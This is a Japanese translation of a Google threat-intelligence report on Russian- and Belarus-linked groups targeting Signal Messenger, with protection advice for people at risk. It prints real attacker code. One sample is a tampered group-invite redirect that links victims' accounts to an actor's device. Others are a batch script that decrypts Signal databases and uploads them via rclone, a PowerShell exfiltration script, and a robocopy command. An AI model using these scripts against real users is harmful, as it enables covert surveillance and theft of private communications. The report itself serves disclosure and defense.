トラブルのシグナル: ロシア政府とつながりのある複数の脅威アクターが積極的に標的にする Signal Messenger
Google Threat Intelligence Group
※この投稿は米国時間 2025 年 2 月 20 日に、Google Cloud blog に投稿されたものの抄訳です。
Google Threat Intelligence グループ(GTIG)は、ロシアの諜報機関が関心を寄せる個人が使用する Signal Messenger アカウントの侵害を目的とした、ロシア政府とつながりのある複数の脅威アクターによる活動が増加していることを確認しました。ロシアのウクライナ再侵攻を背景に、政府や軍の機密通信を傍受しようとする戦時任務に端を発して、この新たな標的に関心が向けられたものと思われます。ただし、Signal を標的とする攻撃に使用された戦術と手法は、近いうちにその対象範囲を広げ、ウクライナ戦域外の脅威アクターや地域にも普及するものと予想されます。
Signal は、軍人、政治家、ジャーナリスト、活動家、危険にさらされたその他のコミュニティなど、監視活動やスパイ活動の一般的な標的となる人々の間で広く使用されています。そのため、安全性の高いこのメッセージング アプリケーションは、幅広いインテリジェンス要件を満たす可能性がある機密情報を傍受しようとする敵対者にとって、価値の高い標的となっています。この脅威は WhatsApp や Telegram などの他の一般的なメッセージング アプリケーションにも広がっており、これらのアプリケーションも同様の手法を使うロシア系脅威グループに積極的に標的にされています。同様の手口が他の脅威アクターにも広まっていくことを予想して、GTIG はこれまでに使用された戦術と手法に関して一般の人々の認識を高め、コミュニティが同様の脅威からより効果的に身を守れるよう、公に警告を発しています。
このような敵対的活動の調査において、緊密に連携していただいた Signal のチームの方々に感謝申し上げます。Android 版および iOS 版 Signal の最新リリースには、今後同様のフィッシング キャンペーンが発生した場合の保護を目的としてセキュリティが強化された機能が含まれています。これらの機能を有効にするには、最新バージョンに更新してください。
Signal の「リンク済みデバイス」機能を悪用したフィッシング キャンペーン
ロシア系脅威アクターによる Signal アカウント侵害の基盤として、最も広く使用されている最新の手法が、Signal を複数のデバイスで同時に使用するためのアプリの正規機能である「リンク済みデバイス」の悪用です。通常、追加のデバイスをリンクするには QR コードをスキャンする必要があるため、脅威アクターは悪意のある QR コードを作成する手法を考案しました。これらのコードをスキャンすると、被害者のアカウントは脅威アクターが管理する Signal インスタンスにリンクされます。リンクに成功した場合、それ以降のメッセージは被害者と脅威アクターにリアルタイムで同時に配信されるため、デバイスを完全に侵害しなくても、被害者のセキュアな会話を永続的に盗聴できてしまいます。
-
これまでに確認されたリモート フィッシング攻撃では、悪意のある QR コードが Signal の正規のリソースとして偽装されているケースが数多くありました。これらのリソースには、グループ招待、セキュリティ通知、Signal ウェブサイトからの正規のデバイスペア設定の指示などが含まれます。
-
より標的を絞ったリモート フィッシング攻撃では、ウクライナ軍が使用する特殊なアプリケーションを装ったフィッシング ページに、悪意のあるデバイスリンク用 QR コードが埋め込まれました。
-
悪意のある QR コードは、リモート フィッシング攻撃やマルウェア配信攻撃だけでなく、近接侵入攻撃にも使用されていることが確認されています。APT44(別名 Sandworm または Seashell Blizzard。複数の政府がロシア連邦軍参謀本部(GU、通称 GRU)内の特殊テクノロジー総部門(GTsST)に関連付けている脅威アクター)の活動により、ロシア軍の前方展開部隊は、戦場で取得したデバイスの Signal アカウントをアクターが管理するインフラストラクチャにリンクして悪用できるようになりました。
注目すべき点として、このデバイスリンク機能を使用する攻撃コンセプトは、新たにリンクされたデバイスを介したアカウント侵害のモニタリングに使用できる一元的なテクノロジー主導の検出と防御が存在しないことから、初期アクセスの痕跡がほとんど残らないことが証明されています。そのため、攻撃が成功した場合、侵害を長期間検出できないリスクが高くなります。
UNC5792: Signal のグループ招待の改ざん
デバイスリンク機能を使用して Signal アカウントを侵害するために、UNC5792(CERT-UA の UAC-0195 と一部重複)として追跡され、ロシアのスパイ活動を行っている疑いのあるクラスタが、正規の「グループ招待」ページを改ざんしてフィッシング キャンペーンで配信しました。この攻撃では、Signal グループへのリダイレクトが、アクターが管理するデバイスを被害者の Signal アカウントにリンクするように細工された悪意のある URL へのリダイレクトに置き換えられます。
-
UNC5792 は、これらの攻撃において、正規の招待と同一に見えるよう改ざんされた Signal のグループ招待を、アクターが管理するインフラストラクチャでホストしました。
-
偽のグループ招待では、本来は Signal グループに参加できるようユーザーをリダイレクトする JavaScript コードが、Signal で新しいデバイスをリンクするために使用される Uniform Resource Identifier(URI)(例: "sgnl://linkdevice?uuid=")を含む悪意のあるブロックで置き換えられています。被害者はこれにだまされ、各自の Signal アカウントを UNC5792 が管理するデバイスにリンクしてしまいます。


図 1: UNC5792 が管理するドメイン「signal-groups[.]tech」でホストされている改ざんされた Signal グループ招待の例
function doRedirect() {
if (window.location.hash) {
var redirect = "sgnl://signal.group/" + window.location.hash
document.getElementById('go-to-group').href = redirect
window.location = redirect
} else {
document.getElementById('join-button').innerHTML = "No group found."
window.onload = doRedirect
図 2: Signal グループにリダイレクトする標準的な正規のグループ招待コード
function doRedirect() {
var redirect = 'sgnl://linkdevice
uuid=h_8WKmzwam_jtUeoD_NQyg%3D%3D
pub_key=Ba0212mHrGIy4t%2FzCCkKkRKwiS0osyeLF4j1v8DKn%2Fg%2B'
//redirect=encodeURIComponent(redirect)
document.getElementById('go-to-group').href = redirect
window.location = redirect
window.onload = doRedirect
図 3: 被害者のデバイスをアクターが管理する Signal インスタンスにリンクするよう、UNC5792 によって改ざんされたリダイレクト コードの例
UNC4221: カスタム開発された Signal フィッシング キット
UNC4221(CERT-UA では UAC-0185 として追跡)もまた、ロシア政府とつながりのある脅威アクターで、ウクライナ軍人が使用する Signal アカウントを積極的に標的にしています。このグループは、ウクライナ軍が砲兵誘導に使用している Kropyva アプリケーションのコンポーネントを模倣するようにカスタマイズされた Signal フィッシング キットを運用しています。UNC5792 が使用しているソーシャル エンジニアリング手法と同様に、UNC4221 も、デバイスリンク機能を信頼できる連絡先からの Signal グループ招待に見せかけようとしました。このフィッシング キットについては、次のようなさまざまなバリエーションが確認されています。
-
Signal が提供する正規のデバイスリンク指示を装う二次フィッシング インフラストラクチャに被害者をリダイレクトするフィッシング ウェブサイト(図 4)
-
Kropyva のテーマを使用したメインのフィッシング キットに悪意のあるデバイスリンク用 QR コードが直接埋め込まれたフィッシング ウェブサイト(図 5)
-
2022 年の初期の活動で、Signal からの正規のセキュリティ通知を装った UNC4221 のフィッシング ページ(図 6)


図 4: UNC4221 が管理するドメイン「signal-confirm[.]site」でホストされている悪意のあるデバイスリンク用 QR コード


図 5: 「teneta.add-group[.]site」でホストされている Kropyva のネットワーキング コンポーネントを模倣した UNC4221 のフィッシング ページ。このページでユーザーが [Signal にログイン](ウクライナ語: 「Авторизуватись у Signal」)をクリックすると、UNC4221 が管理する Signal インスタンスにリンクされた QR コードが表示されます。


図 6: UNC4221 が管理するドメイン「signal-protect[.]host」でホストされている、Signal のセキュリティ通知を装ったフィッシング ページ
注目すべき点として、UNC4221 は、Signal を標的とした攻撃の中核的な要素として、PINPOINT として追跡されている軽量の JavaScript ペイロードも使用しています。その目的は、ブラウザの GeoLocation API を使用して、基本的なユーザー情報と位置情報データを収集することです。一般的に、この種の活動では今後、安全性の高いメッセージや位置情報が頻繁に標的になると予想されます。特に、標的型の監視活動や、従来型軍事作戦を支援するうえで、これらのデータが狙われる可能性が高いと考えられます。
Signal からのメッセージの盗用を目的とするロシアとベラルーシの活動拡大
脅威アクターが管理するデバイスを被害者の Signal アカウントにリンクする標的型の活動に加えて、各地域で足場を築いた複数の既知の脅威アクターが、Android デバイスや Windows デバイスから Signal データベース ファイルを盗み出すための機能を運用していることも確認されています。
-
APT44 は、軽量の Windows バッチ スクリプトである WAVESIGN を運用して、被害者の Signal データベースにある Signal メッセージへのクエリを定期的に実行し、Rclone を使用して最新のメッセージを盗み出していることが確認されています(図 7)。
-
ウクライナ保安庁(SSU)と英国の国家サイバー セキュリティ センター(NCSC)による 2023 年の報告によると、Infamous Chisel として追跡され、これら 2 つの組織が Sandworm に関連付けている Android マルウェアは、ファイル拡張子のリストを再帰的に検索するように設計されています。これには、Android デバイス上のさまざまなメッセージング アプリケーション(Signal など)のローカル データベースが含まれます。
-
米国と英国がロシア連邦保安庁(FSB)のセンター 16 に関連付けているロシアの脅威アクター Turla も、侵害後に軽量の PowerShell スクリプトを運用して、デスクトップ版 Signal のメッセージを外部に漏洩させました(図 8)。
-
ロシア以外では、ベラルーシ政府とつながりのある UNC1151 が、コマンドライン ユーティリティ Robocopy を使用して、デスクトップ版 Signal でメッセージと添付ファイルの保存に使用されるファイル ディレクトリのコンテンツを外部に漏洩させました(図 9)。
if %proflag%==1 (
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
copy /y %new% C:\ProgramData\Signal\Storage\Signal\sqlorig\db.sqlite
C:\ProgramData\Signal\Storage\rc.exe copy -P -I --log-file=C:\ProgramData\Signal\Storage\rclog.txt --log-level INFO C:\ProgramData\Signal\Storage\Signal\sqlorig si:SignalFresh/sqlorig
del C:\ProgramData\Signal\Storage\Signal\log*
rmdir /s /q C:\ProgramData\Signal\Storage\sql
move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql
) ELSE (
C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%old_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;"
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%new_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;"
C:\ProgramData\Signal\Storage\sqldiff.exe --primarykey --vtab %old_dec% %new_dec% > %diff_name%
del /s %old_dec% %new_dec%
rmdir /s /q C:\ProgramData\Signal\Storage\sql
move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql
powershell -Command "move C:\ProgramData\Signal\Storage\log.tmp C:\ProgramData\Signal\Storage\Signal\log$(Get-Date -f """ddMMyyyyHHmmss""").tmp"
)
図 7: APT44 が Signal メッセージを盗み出すために使用した WAVESIGN のコード スニペット
$TempPath = $env:tmp
$TempPath = $env:temp
$ComputerName = $env:computername
$DFSRoot = "\\redacted"
$RRoot = $DFSRoot + "resource\"
$frand = Get-Random -Minimum 1 -Maximum 10000
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append
$file1 = $ComputerName + "_" + $frand + "sig.zip"
$zipfile = $TempPath + "\" + $file1
$resfile = $RRoot + $file1
Compress-Archive -Path "C:\Users\..\AppData\Roaming\SIGNAL\config.json" -DestinationPath $zipfile
Copy-Item -Path $zipfile -Destination $resfile -Force
Remove-Item -Path $zipfile -Force
図 8: Turla が Signal メッセージを盗み出すために使用した PowerShell スクリプト
C:\Windows\system32\cmd.exe /C cd %appdata% && robocopy
"%userprofile%\AppData\Roaming\Signal" C:\Users\Public\data\signa /S
図 9: UNC1151 が Signal のファイル ディレクトリを外部に漏洩させるために使用した Robocopy コマンド
見通しと影響
ここ数か月、複数の脅威アクターが Signal を重点的な攻撃対象としていることは、セキュアなメッセージング アプリケーションに対する脅威が増大しており、近い将来に間違いなく勢いを増していくことに対する重要な警告となっています。商用スパイウェア業界の拡大や、紛争地域で悪用されるモバイル マルウェアの亜種の急増など、脅威の状況におけるその他の傾向を踏まえ、より広い視野で考えると、自身のオンライン アクティビティを保護するためにセキュアなメッセージング アプリケーションを利用している個人間の機密通信のモニタリングに使用できる、攻撃的なサイバー機能に対する需要が明らかに高まっているようです。
Signal アカウントの侵害を目的とする広範な活動に見られるように、セキュアなメッセージング アプリケーションに対するこの脅威は、フィッシングやマルウェア配信などのリモート サイバー攻撃に限定されません。ロックが解除された標的のデバイスに脅威アクターが短時間アクセスできる近接侵入攻撃も含まれていることが重要です。同じく重要なのは、この脅威が Signal だけでなく、WhatsApp や Telegram など、広く使用されている他のメッセージング プラットフォームにも及んでいることです。これらのプラットフォームもここ数か月、前述のロシア系グループの一部によって優先的な標的とされてきました。このような標的の広がりを示す例については、Microsoft Threat Intelligence の最近のブログ投稿をご覧ください。この投稿では、デバイスリンク機能を悪用して WhatsApp アカウントを侵害しようとする COLDRIVER(別名 UNC4057 および Star Blizzard)キャンペーンについて説明しています。
政府の支援を受けた脅威アクターによる、個人用デバイスを狙った侵入活動の標的になり得る場合は、次のような自己防衛手法を実践する必要があります。
-
すべてのモバイル デバイスで画面ロックを有効にして、大文字と小文字、数字、記号を組み合わせた長い複雑なパスワードを使用します。Android でサポートされている英数字のパスワードを使用すると、数字のみの PIN やパターンよりもセキュリティを大幅に強化できます。
-
オペレーティング システムのアップデートをできるだけ早くインストールし、Signal やその他のメッセージング アプリを常に最新バージョンにしておきます。
-
Google Play プロテクトが有効になっていることを確認します。Google Play 開発者サービスを搭載した Android デバイスでは、このサービスがデフォルトで有効です。Google Play プロテクトは、アプリやデバイスの有害な動作をチェックし、悪意のある動作を示すことが判明しているアプリがあればユーザーに警告するか、アプリをブロックします。そのアプリを Google Play 以外から入手した場合もチェック対象になります。
-
アプリケーションの設定の [リンク済みデバイス] セクションに移動して、リンク済みデバイスの中に不正なデバイスがないか定期的に確認します。
-
早急な対応を要求し、正規のものに見えるソフトウェア アップデート、グループ招待、またはその他の通知の QR コードやウェブリソースを使用する場合は、十分に注意します。
-
アカウントへのログインや新しいデバイスへのリンクを確認する場合には、指紋、顔認識、セキュリティ キー、ワンタイム コードなどの 2 要素認証を可能な限り使用します。
- 標的型の監視活動やスパイ活動を懸念する iPhone ユーザーは、攻撃対象領域を縮小するためにロックダウン モードを有効にすることを検討してください。
セキュリティ侵害インジケーター
このブログ投稿で概要を説明している活動を捕捉、特定している組織を支援するために、登録ユーザーがアクセス可能な GTI コレクションにセキュリティ侵害インジケーター(IOC)を含めました。
関連するセキュリティ侵害インジケーターのサンプルについては、表 1 をご覧ください。
表 1: 関連するセキュリティ侵害インジケーター
ロシアやベラルーシ政府とつながりのある脅威アクターが Signal メッセージを標的にするために使用したさまざまなアクター、戦術、手法の概要については、表 2 をご覧ください。